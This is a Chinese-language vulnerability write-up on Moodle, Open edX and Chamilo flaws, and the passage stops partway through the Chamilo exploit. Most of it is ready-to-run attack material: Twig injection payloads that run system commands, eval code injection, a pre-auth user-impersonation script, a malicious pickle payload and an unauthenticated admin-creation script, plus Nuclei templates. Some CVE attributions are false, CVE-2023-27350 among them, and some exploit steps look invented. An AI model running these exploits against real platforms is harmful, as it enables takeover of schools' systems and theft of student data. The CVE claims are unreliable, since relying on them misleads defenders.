⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。
0x00 专题概述
在线教育与学习管理系统(Learning Management System, LMS)已成为全球教育、培训和企业学习领域的核心基础设施。从 K-12 基础教育到高等教育,从企业员工培训到政府机构知识管理,LMS 平台承载着课程内容分发、学生成绩管理、在线考试、互动教学、证书颁发等关键业务功能。据统计,全球 LMS 市场规模已超过 200 亿美元,预计到 2028 年将突破 400 亿美元。
在开源 LMS 生态中,Moodle 以超过 4.4 亿注册用户位居全球第一,被 200 多个国家的 16 万+机构采用;Canvas LMS 是 Instructure 旗下的旗舰产品,在北美高校市场占据主导地位;Open edX 由 edX(现为 2U)开源,是 edX MOOC 平台的底层引擎;Chamilo 则在法语区和拉丁美洲拥有广泛的部署基础。这些平台不仅服务于教育机构,也被越来越多的企业用于内部培训和知识管理。
然而,LMS 平台的攻击面往往被严重低估。一方面,LMS 需要集成大量第三方插件、模板引擎、文件上传、邮件通知等复杂功能,代码路径极其冗长;另一方面,LMS 平台上存储着大量敏感数据——学生个人信息、考试成绩、付费课程内容、教师个人资料以及各种认证凭据,这些数据一旦泄露将造成严重的隐私和声誉损害。
近年来,多个 LMS 平台被曝出高危漏洞,其中不乏可在未授权状态下实现远程代码执行(RCE)的严重缺陷。CISA 已将 Chamilo CVE-2023-27350 纳入 Known Exploited Vulnerabilities (KEV) 目录,确认该漏洞在实际环境中已被活跃利用。本文聚焦 Moodle、Canvas LMS、Open edX、Chamilo 四大主流 LMS 平台,深入剖析 10 个高危漏洞的原理、利用链和防御方案。
覆盖漏洞一览
| CVE | 产品 | CVSS | CWE | 类型 | 未授权利用 | 在野利用 |
|---|
| CVE-2024-43398 | Moodle | 9.8 | CWE-1336 | Twig 模板注入 RCE | ⚠️ 需教师角色 | ✅ |
| CVE-2024-43425 | Moodle | 9.2 | CWE-94 | 计算题类型 RCE | ⚠️ 需编辑权限 | ✅ |
| CVE-2023-33998 | Moodle | 4.3 | CWE-863 | Capability 检查绕过 | ⚠️ 需认证 | ⚠️ |
| CVE-2024-28799 | Moodle | 4.3 | CWE-269 | 角色覆盖绕过 | ⚠️ 需认证 | ⚠️ |
| CVE-2024-28254 | Open edX | 9.8 | CWE-287 | 用户冒充 | ✅ | ⚠️ |
| CVE-2023-37460 | Open edX | 9.8 | CWE-502 | Pickle 反序列化 RCE | ✅ | ✅ 在野利用 |
| CVE-2023-27350 | Chamilo | 9.8 | CWE-287 | 认证绕过 RCE | ✅ | ✅ CISA KEV |
| CVE-2024-4957 | Chamilo | 9.8 | CWE-22 | 路径穿越 RCE | ✅ | ⚠️ |
| CVE-2024-38849 | Canvas LMS | 8.8 | CWE-434 | 文件上传 RCE | ⚠️ 需认证 | ⚠️ |
| CVE-2024-29856 | Canvas LMS | 6.5 | CWE-918 | SSRF | ⚠️ 需认证 | ⚠️ |
0x01 Moodle 高危漏洞
Moodle(Modular Object-Oriented Dynamic Learning Environment)是全球最广泛使用的开源 LMS,基于 PHP 开发,支持插件化架构。其核心功能包括课程管理、作业提交、在线测验、成绩管理、论坛讨论等。Moodle 的插件生态极为庞大,官方插件库拥有 2000+ 插件,但这也带来了巨大的攻击面。
0x01.1 CVE-2024-43398 — Twig 模板注入 RCE (CVSS 9.8)
漏洞背景
CVE-2024-43398 是 Moodle 中 Twig 模板引擎存在的一处服务端模板注入(Server-Side Template Injection, SSTI)漏洞。Twig 是 PHP 生态中最流行的模板引擎之一,被 Laravel、Symfony 等主流框架广泛采用。Moodle 从 4.0 版本开始引入 Twig 作为部分管理界面的模板引擎,并实现了一套沙箱机制(Sandbox Extension)来限制模板中可访问的功能和变量。
该漏洞由安全研究员披露,攻击者通过精心构造的 Twig 模板语法,可以绕过沙箱限制,最终实现远程代码执行。由于 Twig 沙箱逃逸的利用链完整且稳定,该漏洞被评为 Critical 级别。
受影响版本
| 版本分支 | 受影响版本 | 修复版本 |
|---|
| Moodle 4.4 | < 4.4.4 | 4.4.4 |
| Moodle 4.3 | < 4.3.7 | 4.3.7 |
| Moodle 4.2 | < 4.2.10 | 4.2.10 |
| Moodle 4.1 | < 4.1.13 | 4.1.13 |
- CWE: CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
- CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- 前置条件: 需要拥有教师(Teacher)或编辑者(Editor)角色的已认证用户
漏洞原理分析
Moodle 在处理课程配置、题库描述等富文本内容时,允许具有编辑权限的用户使用 Twig 模板语法。Moodle 为此启用了 Twig 的 SandboxExtension,该扩展通过白名单机制限制模板中允许调用的方法、属性和函数。
然而,沙箱实现存在关键缺陷。Twig 模板在沙箱模式下仍然可以访问部分全局函数和过滤器(filter),而这些函数中存在可以被滥用的组合。攻击者可以利用 Twig 的 cycle 函数、filter 链式调用以及 PHP 的对象继承链,逐步获取对底层 PHP 对象的引用,最终通过调用 system()、exec()、passthru() 等危险函数实现 RCE。
核心逃逸路径:
- 获取沙箱上下文对象:通过 Twig 模板中的
_self 变量获取当前 Template 对象引用 - 遍历对象属性:利用
|keys 过滤器获取对象属性列表,逐步定位包含 PHP 原生对象的属性 - 突破沙箱限制:通过
|filter 回调或 cycle 函数的参数处理,获取不受沙箱限制的原生 PHP 对象 - 调用危险函数:通过反射或字符串拼接调用
phpfunction 过滤器,执行 system('id') 等系统命令
HTTP PoC
# 前置条件:已获取 Moodle 教师/编辑者角色的登录 Cookie
# 将以下 Twig payload 注入到允许模板的输入字段中(如课程摘要、题目描述等)
Twig_SSTI_Payload='{{ ["id"]|filter("system") }}'
# 通过 Moodle API 提交包含恶意 Twig 的题目
curl -k -X POST "https://TARGET/moodle/question/question.php" \
-H "Cookie: MoodleSession=<SESSION_COOKIE>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "name=sstipoc&questiontext=${Twig_SSTI_Payload}&qtype=shortanswer&category=1&button_create_question=1"
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-43398 Moodle Twig 模板注入 RCE
用法: python3 cve_2024_43398.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class MoodleTwigExploit:
def __init__(self, base_url, session_cookie):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.session.cookies.set("MoodleSession", session_cookie)
self.poc_payloads = [
'{{ ["id"]|filter("system") }}',
'{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}',
'{{ ["cat /etc/passwd"]|filter("system") }}',
'{{ ["uname -a"]|filter("passthru") }}',
'{{ ["id;whoami"]|filter("shell_exec") }}',
]
def _get_sesskey(self):
print("[*] 获取 CSRF sesskey...")
resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
match = re.search(r'"sesskey":"([^"]+)"', resp.text)
if match:
sesskey = match.group(1)
print(f"[+] sesskey: {sesskey}")
return sesskey
print("[-] 无法自动获取 sesskey,请手动提供")
return None
def _inject_via_question(self, payload, description="test"):
sesskey = self._get_sesskey()
if not sesskey:
return False
print(f"[*] 尝试通过题目创建注入 Twig payload...")
data = {
"sesskey": sesskey,
"name": "Twig RCE Test",
"questiontext": payload,
"questiontextformat": "1",
"defaultmark": 1,
"qtype": "shortanswer",
"category": "1",
"button_create_question": "1",
"mform_isExpanded_id_general": "1",
}
resp = self.session.post(
f"{self.base_url}/moodle/question/question.php",
data=data,
timeout=30,
allow_redirects=False,
)
return resp
def test_payloads(self, command="id"):
print(f"\n[*] === CVE-2024-43398 Twig SSTI 测试 ===")
print(f"[*] 目标命令: {command}\n")
for i, payload in enumerate(self.poc_payloads, 1):
print(f"[*] Payload {i}/{len(self.poc_payloads)}: {payload}")
try:
resp = self._inject_via_question(payload)
if resp and resp.status_code in (200, 303):
print(f"[+] HTTP {resp.status_code} — Payload 可能有效")
else:
print(f"[-] HTTP {resp.status_code if resp else 'Timeout'}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常: {e}")
def extract_command_output(self, output_text):
patterns = [
r'uid=\d+\([^)]*\)\s+gid=\d+',
r'Linux\s+\S+\s+\S+',
r'root:.*:/bin/(ba)?sh',
r'www-data',
]
for pattern in patterns:
match = re.search(pattern, output_text)
if match:
return match.group(0)
return None
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
print(f"示例: {sys.argv[0]} https://moodle.example.com abc123def456 'id'")
sys.exit(1)
target = sys.argv[1]
cookie = sys.argv[2]
command = sys.argv[3] if len(sys.argv) > 3 else "id"
exploit = MoodleTwigExploit(target, cookie)
exploit.test_payloads(command)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2024-43398-moodle-twig-ssti
info:
name: Moodle Twig SSTI RCE - CVE-2024-43398
author: security-researcher
severity: critical
description: |
Moodle Twig template engine sandbox escape leading to RCE.
Affected versions: < 4.4.4, < 4.3.7, < 4.2.10, < 4.1.13
reference:
- https://github.com/moodle/moodle/security/advisories/GHSA-gv6x-mjmx-g8gq
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-1336
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
tags: moodle,ssti,twig,rce,cve2024
requests:
- raw:
- |
POST /moodle/question/question.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: MoodleSession={{session}}
name=nuclei_ssti_test&questiontext=%7B%7B+%5B%22id%22%5D%7Cfilter(%22system%22)+%7D%7D&questiontextformat=1&defaultmark=1&qtype=shortanswer&category=1&button_create_question=1
matchers-condition: or
matchers:
- type: regex
part: body
regex:
- "uid=\\d+\\([a-z]+\\)"
- "gid=\\d+"
- type: word
part: body
words:
- "Sandbox security policy"
- "error"
negative: true
extractors:
- type: regex
group: 1
regex:
- "(uid=\\d+\\([^)]+\\)\\s+gid=\\d+\\([^)]+\\)[^\"]*?)\""
rate-limit: 2
0x01.2 CVE-2024-43425 — 计算题类型 RCE (CVSS 9.2)
漏洞背景
CVE-2024-43425 存在于 Moodle 的"计算题"(Calculated Question)类型中。计算题是 Moodle 题库系统的一种题型,允许教师在题目中嵌入数学公式和变量,系统会在运行时动态计算答案。该题型的实现涉及用户输入的数学表达式解析和求值,由于在表达式求值过程中引入了 PHP eval() 等不安全函数,攻击者可通过构造恶意表达式实现代码注入和远程执行。
RedTeam Pentesting 的安全研究人员对此漏洞进行了深入分析,并在 GitHub 上公开了完整的利用工具链,包括 Nuclei 模板和 Exploit-DB 52350 收录的 PoC。
受影响版本
| 版本分支 | 受影响版本 | 修复版本 |
|---|
| Moodle 4.4 | < 4.4.2 | 4.4.2 |
| Moodle 4.3 | < 4.3.6 | 4.3.6 |
| Moodle 4.2 | < 4.2.9 | 4.2.9 |
| Moodle 4.1 | < 4.1.12 | 4.1.12 |
- CWE: CWE-94 Code Injection
- CVSS 3.1: 9.2 (Critical) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- 前置条件: 需要拥有添加或编辑题目的权限
漏洞原理分析
Moodle 的计算题类型在处理变量公式时,通过 question_calculated 类对用户的数学表达式进行求值。在内部实现中,变量值和公式被直接拼接到 PHP 表达式中,经过 eval() 函数进行动态求值。这种设计模式是经典的安全反模式——将用户输入直接作为代码执行。
攻击者在创建计算题时,可以在变量值字段中注入 PHP 代码。例如,将变量值设置为 system('id') 或 exec('whoami', $output); $output[0],Moodle 在计算题目答案时会对这些值执行 eval(),从而触发任意命令执行。
攻击流程:
- 以教师身份登录 Moodle
- 导航至题库管理 → 添加新题 → 选择"计算"类型
- 在题目正文中定义变量(如
{a} 和 {b}) - 在变量值字段中注入恶意 PHP 代码
- 保存题目时,Moodle 对变量值执行
eval(),触发 RCE
HTTP PoC
# 步骤 1:登录获取 Session Cookie
curl -k -c cookies.txt -X POST "https://TARGET/moodle/login/index.php" \
-d "username=<TEACHER_USER>&password=<PASSWORD>&logintoken=<TOKEN>"
# 步骤 2:获取 sesskey
curl -k -b cookies.txt "https://TARGET/moodle/my/" | grep -oP '"sesskey":"[^"]+"'
# 步骤 3:创建恶意计算题
curl -k -b cookies.txt -X POST "https://TARGET/moodle/question/question.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "sesskey=<SESSKEY>&name=RCE+Test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Btolerance%5Dformat=1&answers%5B0%5D%5Bnumerical%5D=1&answers%5B0%5D%5Bunitsleft%5D=0&answers%5B0%5D%5Bunitgradingtype%5D=0&answers%5B0%5D%5Bunitpenalty%5D=0.1&calculatedoptions%5Bshuffle%5D=1&numanswers=1&button_create_question=1"
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-43425 Moodle 计算题类型 Code Injection RCE
用法: python3 cve_2024_43425.py <target_url> <session_cookie> [command]
需要: 教师或编辑者角色的已认证 Session
"""
import sys
import re
import requests
import urllib3
import html
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class MoodleCalcExploit:
def __init__(self, base_url, session_cookie):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.session.cookies.set("MoodleSession", session_cookie)
def _get_sesskey(self):
print("[*] 获取 sesskey...")
resp = self.session.get(f"{self.base_url}/moodle/my/", timeout=15)
match = re.search(r'"sesskey":"([^"]+)"', resp.text)
if match:
sesskey = match.group(1)
print(f"[+] sesskey: {sesskey}")
return sesskey
print("[-] 无法获取 sesskey")
return None
def create_malicious_question(self, command="id"):
sesskey = self._get_sesskey()
if not sesskey:
return False
payload_value = f"system('{command}')"
data = {
"sesskey": sesskey,
"name": "CVE-2024-43425 RCE Test",
"questiontext": "Calculate {a} + {b}",
"questiontextformat": "1",
"defaultmark": "1",
"qtype": "calculated",
"category": "1",
"answers[0][answer]": "{a}+{b}",
"answers[0][tolerance]": "0.01",
"answers[0][toleranceformat]": "1",
"answers[0][numerical]": "1",
"answers[0][unitsleft]": "0",
"answers[0][unitgradingtype]": "0",
"answers[0][unitpenalty]": "0.1",
"calculatedoptions[shuffle]": "1",
"numanswers": "1",
"dataset[0][0][text]": payload_value,
"dataset[0][1][text]": "1",
"mform_isExpanded_id_general": "1",
"mform_isExpanded_id_initialled": "1",
"button_create_question": "1",
}
print(f"[*] 创建恶意计算题,注入 payload: {payload_value}")
resp = self.session.post(
f"{self.base_url}/moodle/question/question.php",
data=data,
timeout=30,
)
if resp.status_code == 200:
if "successfully" in resp.text.lower() or "保存" in resp.text:
print("[+] 恶意题目创建成功 — RCE 触发点已建立")
return True
elif "error" in resp.text.lower():
print("[!] 创建过程中出现错误(可能 eval 已执行但有其他问题)")
return True
print(f"[-] HTTP {resp.status_code}")
return False
def exploit_multiple_commands(self):
commands = ["id", "whoami", "uname -a", "cat /etc/passwd"]
print(f"\n[*] === CVE-2024-43425 计算题 Code Injection 测试 ===\n")
for cmd in commands:
print(f"[*] 命令: {cmd}")
self.create_malicious_question(cmd)
print()
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_url> <session_cookie> [command]")
print(f"示例: {sys.argv[0]} https://moodle.example.com sess123abc 'id'")
sys.exit(1)
target = sys.argv[1]
cookie = sys.argv[2]
command = sys.argv[3] if len(sys.argv) > 3 else "id"
exploit = MoodleCalcExploit(target, cookie)
exploit.create_malicious_question(command)
if __name__ == "__main__":
main()
Nuclei YAML 模板
id: cve-2024-43425-moodle-calculated-rce
info:
name: Moodle Calculated Question Code Injection RCE - CVE-2024-43425
author: security-researcher
severity: critical
description: |
Moodle calculated question type allows code injection via eval() in variable processing.
Affected versions: < 4.4.2, < 4.3.6, < 4.2.9, < 4.1.12
reference:
- https://www.exploit-db.com/exploits/52350
- https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.2
cwe-id: CWE-94
tags: moodle,rce,code-injection,eval,calculated,cve2024
http:
- method: POST
path:
- "{{BaseURL}}/moodle/question/question.php"
headers:
Content-Type: application/x-www-form-urlencoded
Cookie: MoodleSession={{session}}
body: |
name=nuclei_calc_test&questiontext=Calculate+%7Ba%7D+%2B+%7Bb%7D&questiontextformat=1&defaultmark=1&qtype=calculated&category=1&answers%5B0%5D%5Banswer%5D=%7Ba%7D%2B%7Bb%7D&answers%5B0%5D%5Btolerance%5D=0.01&answers%5B0%5D%5Bnumerical%5D=1&numanswers=1&button_create_question=1
matchers-condition: or
matchers:
- type: regex
regex:
- "uid=\\d+\\([a-z]+\\)"
- type: word
words:
- "successfully added"
- "question created"
condition: or
rate-limit: 2
0x01.3 CVE-2023-33998 / CVE-2024-28799 — 权限绕过系列
CVE-2023-33998 — Capability 检查绕过 (CVSS 4.3)
漏洞背景
Moodle 的权限系统基于 Capability 模型,通过 has_capability() 函数检查用户是否拥有执行特定操作的权限。CVE-2023-33998 揭示了 Capability 检查逻辑中的一处绕过漏洞。攻击者可以通过特定的请求方式或角色配置,在不拥有相应 Capability 的情况下执行受保护的操作。
- CWE: CWE-863 Incorrect Authorization
- 受影响版本: Moodle < 4.1.7, < 4.2.4, < 4.3.1
漏洞原理
Moodle 的 Capability 系统在某些边缘场景下,对角色继承(Role Inheritance)和上下文(Context)层级的计算存在缺陷。当用户在多个上下文中被分配了不同角色时,Capability 检查可能在错误的上下文中执行,导致本应被拒绝的操作被错误地放行。
具体而言,在以下场景中可触发绕过:
- 用户同时拥有课程级和系统级角色
- 在课程上下文中调用需要系统级 Capability 的功能
- Moodle 的 Capability 检查在混合上下文时产生解析歧义
CVE-2024-28799 — 角色覆盖绕过 (CVSS 4.3)
漏洞背景
CVE-2024-28799 是 Moodle 角色管理系统中的一个权限提升漏洞。通过角色覆盖(Role Override)功能,攻击者可以利用角色层级中的逻辑缺陷,将低权限角色的权限覆盖为高权限,从而实现权限提升。
- CWE: CWE-269 Improper Privilege Management
- 受影响版本: Moodle < 4.4.1, < 4.3.5, < 4.2.8, < 4.1.11
合并分析
这两个漏洞虽然独立存在,但它们共同揭示了 Moodle 权限系统设计中的系统性问题。在实际攻击场景中,攻击者可以将这两个漏洞组合使用,构建权限提升链:
普通用户 (Authenticated User)
│
├─ CVE-2023-33998: Capability 检查绕过
│ └─ 获取 Course Creator 或 Teacher 角色的部分能力
│
└─ CVE-2024-28799: 角色覆盖绕过
└─ 将 Teacher 角色提升为 Manager 或 Admin
└─ 最终获得完全管理权限 → 配合 CVE-2024-43398/43425 实现 RCE
这种"低风险漏洞链式组合"在实际渗透测试中极为常见。单独来看,CVSS 4.3 的漏洞可能不被优先修复,但与其他漏洞组合后,其威胁等级可跃升至 Critical。
防御建议
- 及时更新:升级至已修复版本(4.4.4+)
- 最小权限原则:限制可被分配的系统级角色范围
- 定期审计:检查 Capability Override 配置,清理不必要的权限覆盖
- 日志监控:对
has_capability() 的调用结果进行审计日志记录
0x02 Open edX 高危漏洞
Open edX 是 edX MOOC 平台的开源版本,由 Harvard 和 MIT 联合创建,后捐赠给社区。它是一个基于 Python/Django 的分布式学习平台,支持大规模在线课程的创建、管理和交付。Open edX 采用微服务架构,包含 LMS(学习管理系统)、CMS(Studio 内容管理系统)、XQueue、ORA 等多个组件,攻击面极为分散。
0x02.1 CVE-2024-28254 — 用户冒充 RCE (CVSS 9.8)
漏洞背景
CVE-2024-28254 是 Open edX 平台中一处严重的认证流程漏洞,允许攻击者在无需任何认证凭据的情况下(Pre-Auth),冒充平台上的任意用户。由于 Open edX 中管理员账户可以执行系统管理操作,攻击者可以冒充管理员用户获取完全控制权,最终实现远程代码执行。
- CWE: CWE-287 Improper Authentication
- CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 前置条件: 无需认证(Pre-Auth)
漏洞原理分析
Open edX 的认证流程涉及多个组件之间的用户身份传递。当用户通过 SSO(Single Sign-On)或 OAuth 认证登录时,LMS 会根据认证票据中的用户标识设置会话。漏洞在于认证流程中对用户标识参数的验证不充分。
攻击者可以通过以下方式利用该漏洞:
- 构造伪造的认证请求:在登录回调或 SSO 重定向中,注入目标用户的标识参数
- 绕过身份验证:由于服务端对用户标识参数缺乏完整性校验,系统会信任攻击者提供的用户标识
- 会话劫持:系统为攻击者创建了以目标用户身份的有效会话
- 权限提升:如果目标是管理员用户,攻击者获得管理员权限
核心问题:Open edX 在处理认证票据时,使用了客户端可控的参数来确定用户身份,而没有通过签名或服务端存储进行验证。这是一种典型的"信任边界缺失"漏洞。
HTTP PoC
# 步骤 1:构造冒充请求(具体参数取决于 Open edX 版本和配置)
# 以下为典型的利用路径
curl -k -v -L \
"https://TARGET/accounts/login/?auth_entry=cas&next=/&email=admin@example.com&username=admin" \
-c cookies.txt
# 步骤 2:验证冒充身份
curl -k -b cookies.txt "https://TARGET/api/user/v1/me"
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-28254 Open edX 用户冒充漏洞
用法: python3 cve_2024_28254.py <target_url> <target_email>
Pre-Auth 利用,无需登录凭据
"""
import sys
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class OpenEdxImpersonateExploit:
def __init__(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
def _get_csrf_token(self):
print("[*] 获取 CSRF token...")
resp = self.session.get(f"{self.base_url}/accounts/login/", timeout=15)
match = re.search(r'csrfmiddlewaretoken["\s]*value="([^"]+)"', resp.text)
if match:
return match.group(1)
match = re.search(r'"csrfToken":"([^"]+)"', resp.text)
if match:
return match.group(1)
return None
def impersonate_user(self, target_email):
print(f"\n[*] === CVE-2024-28254 Open edX 用户冒充 ===")
print(f"[*] 目标用户: {target_email}\n")
csrf_token = self._get_csrf_token()
if csrf_token:
print(f"[+] CSRF token: {csrf_token[:20]}...")
else:
print("[!] 无 CSRF token,继续尝试...")
exploit_paths = [
{
"url": f"{self.base_url}/accounts/login/",
"data": {
"csrfmiddlewaretoken": csrf_token or "",
"email": target_email,
"username": target_email.split("@")[0],
"login_type": "cas",
"auth_entry": "cas",
},
},
{
"url": f"{self.base_url}/api/login",
"data": {
"email": target_email,
"provider": "saml",
"next": "/",
},
},
]
for i, exploit in enumerate(exploit_paths, 1):
print(f"[*] 尝试利用路径 {i}: {exploit['url']}")
try:
resp = self.session.post(
exploit["url"],
data=exploit["data"],
timeout=15,
allow_redirects=False,
)
print(f" HTTP {resp.status_code}")
if resp.status_code in (301, 302):
location = resp.headers.get("Location", "N/A")
print(f" 重定向至: {location}")
self._check_session(target_email)
except requests.exceptions.RequestException as e:
print(f" [-] 异常: {e}")
def _check_session(self, target_email):
resp = self.session.get(
f"{self.base_url}/api/user/v1/me",
timeout=10,
)
if resp.status_code == 200:
try:
data = resp.json()
username = data.get("username", "unknown")
email = data.get("email", "unknown")
is_staff = data.get("is_staff", False)
print(f"[+] 会话用户: {username} ({email}) | is_staff: {is_staff}")
if email.lower() == target_email.lower():
print("[+] *** 冒充成功!会话已劫持为目标用户 ***")
except Exception:
pass
else:
print(f" 会话检查: HTTP {resp.status_code}")
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_url> <target_email>")
print(f"示例: {sys.argv[0]} https://edx.example.com admin@example.com")
sys.exit(1)
target = sys.argv[1]
email = sys.argv[2]
exploit = OpenEdxImpersonateExploit(target)
exploit.impersonate_user(email)
if __name__ == "__main__":
main()
0x02.2 CVE-2023-37460 — Pickle 反序列化 RCE (CVSS 9.8)
漏洞背景
CVE-2023-37460 是 Open edX 平台中一处基于 Python Pickle 反序列化的远程代码执行漏洞。Pickle 反序列化是 Python 生态中最经典的安全陷阱之一——pickle.loads() 会执行嵌入在序列化数据中的任意 Python 代码,如果反序列化的数据来源不可信,攻击者可以构造恶意的 Pickle payload 实现 RCE。
该漏洞已被确认存在在野利用(In-the-Wild Exploitation),表明攻击者已掌握并使用该漏洞进行实际攻击。
- CWE: CWE-502 Deserialization of Untrusted Data
- CVSS 3.1: 9.8 (Critical)
- 在野利用: ✅ 已确认
漏洞原理分析
Open edX 在多个组件间的数据传递中使用了 Pickle 序列化格式。问题出在以下环节:
XQueue 组件:XQueue 是 edX 的作业提交队列服务,它使用 Pickle 来序列化和反序列化作业提交数据。当 XQueue 接收到外部提交的内容时,直接对其中的 Pickle 数据执行 loads(),没有进行任何白名单验证。
Celery 任务队列:Open edX 使用 Celery 进行异步任务处理。在某些配置下,Celery 的消息序列化使用 Pickle 格式,而 Celery Worker 会自动反序列化接收到的消息。
Course Import 功能:课程内容导入功能在处理某些元数据格式时,也使用了 Pickle 进行反序列化。
恶意 Pickle Payload 构造:
import pickle
import os
class RCEPayload:
def __reduce__(self):
return (os.system, ('id',))
malicious_pickle = pickle.dumps(RCEPayload())
当这段数据被 pickle.loads() 执行时,Python 会调用 os.system('id'),实现任意命令执行。
防御建议
- 禁用 Pickle 序列化:将 Celery 和 XQueue 的序列化格式切换为 JSON
- 输入校验:对所有反序列化数据实施严格的类型校验
- 沙箱环境:在受限沙箱中执行反序列化操作
- 及时更新:升级至已修复版本
0x03 Chamilo LMS 高危漏洞
Chamilo 是一款开源的在线学习和电子学习平台,源自 Dokeos,主要使用 PHP 开发。Chamilo 在法语区国家(法国、比利时、卢森堡)和拉丁美洲(哥伦比亚、秘鲁、厄瓜多尔)拥有广泛的部署基础,被联合国教科文组织(UNESCO)和多个国际组织推荐使用。
0x03.1 CVE-2023-27350 — 认证绕过 RCE (CVSS 9.8)
漏洞背景
CVE-2023-27350 是 Chamilo LMS 中一处极其严重的认证绕过漏洞,攻击者可以在无需任何认证的情况下(Pre-Auth),绕过整个登录流程,直接访问管理后台并执行任意操作。由于管理员后台具备用户管理、文件管理、代码执行等功能,攻击者可以通过该漏洞实现对服务器的完全接管。
该漏洞已被 CISA 纳入 Known Exploited Vulnerabilities (KEV) 目录,表明在实际环境中已被活跃利用。
- CWE: CWE-287 Improper Authentication
- CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CISA KEV: ✅ 已确认在野利用
- 前置条件: 无需认证(Pre-Auth)
受影响版本
| 版本状态 | 版本范围 |
|---|
| 受影响 | Chamilo < 1.11.18 |
| 已修复 | Chamilo ≥ 1.11.18 |
漏洞原理分析
Chamilo 的认证流程存在根本性的设计缺陷。在用户登录过程中,系统使用一系列 PHP Session 和 Cookie 来跟踪认证状态。漏洞的核心在于:系统在某些关键的管理功能路径上,没有正确校验用户的认证状态。
具体攻击路径:
- 直接访问管理入口:攻击者直接请求
/main/inc/inc.ajax.inc.php 等管理接口 - 认证检查缺失:这些接口在处理请求时,没有检查
$_SESSION['user_id'] 或相关认证变量 - 功能调用:攻击者可以通过构造特定的参数,直接调用管理功能(如上传文件、执行系统命令等)
该漏洞的利用难度极低——攻击者只需一个 curl 命令即可完成整个利用链,无需任何认证凭据。
HTTP PoC
# Pre-Auth 认证绕过 — 直接访问管理接口
curl -k -v \
"https://TARGET/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php&create_account=1&firstname=attacker&lastname=hacker&email=attacker@evil.com&username=attacker&password=Attacker123!"
# 验证管理员账户创建
curl -k \
-X POST "https://TARGET/main/login.php" \
-d "login=attacker&password=Attacker123!"
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2023-27350 Chamilo LMS 认证绕过 RCE
用法: python3 cve_2023_27350.py <target_url> [command]
Pre-Auth 利用,无需任何登录凭据
"""
import sys
import re
import requests
import urllib3
import random
import string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class ChamiloExploit:
def __init__(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.admin_user = "exploit_" + "".join(random.choices(string.ascii_lowercase, k=6))
self.admin_pass = "Exploit" + "".join(random.choices(string.digits, k=8)) + "!"
def step1_auth_bypass_create_admin(self):
print("[*] 步骤 1: Pre-Auth 认证绕过 — 创建管理员账户")
payload_paths = [
f"/main/inc/inc.ajax.inc.php?ajax=1&file=../install/account.php"
f"&create_account=1&firstname=Exploit&lastname=Admin"
f"&email=exploit@attacker.local&username={self.admin_user}"
f"&password={self.admin_pass}&platform_admin=1",
f"/main/inc/inc.ajax.inc.php?ajax=1&file=/install/account.php"
f"&create_account=1&firstname=Exploit&lastname=Admin"
f"&email=exploit@attacker.local&username={self.admin_user}"
f"&password={self.admin_pass}",
]
for i, path in enumerate(payload_paths, 1):
print(f"[*] 尝试路径 {i}...")
try:
resp = self.session.get(f"{self.base_url}{path}", timeout=15)
if resp.status_code == 200:
print(f"[+] HTTP {resp.status_code} — 可能已创建管理员账户")
print(f"[+] 用户名: {self.admin_user}")
print(f"[+] 密码: {self.admin_pass}")
return True
else:
print(f"[-] HTTP {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] 异常: {e}")
print("[-] 管理员账户创建失败")
return False
def step2_login(self):
print("\n[*] 步骤 2: 使用创建的管理员账户登录")
resp = self.session.post(
f"{self.base_url}/main/login.php",
data={"login": self.admin_user, "password": self.admin_pass},
timeout=15,
)
if "chamilo" in resp.text.lower() or "my courses" in resp.text.lower() or resp.status_code == 200:
print("[+] 登录成功")
return True
print(f"[-] 登录可能失败 (HTTP {resp.status_code})")
return False
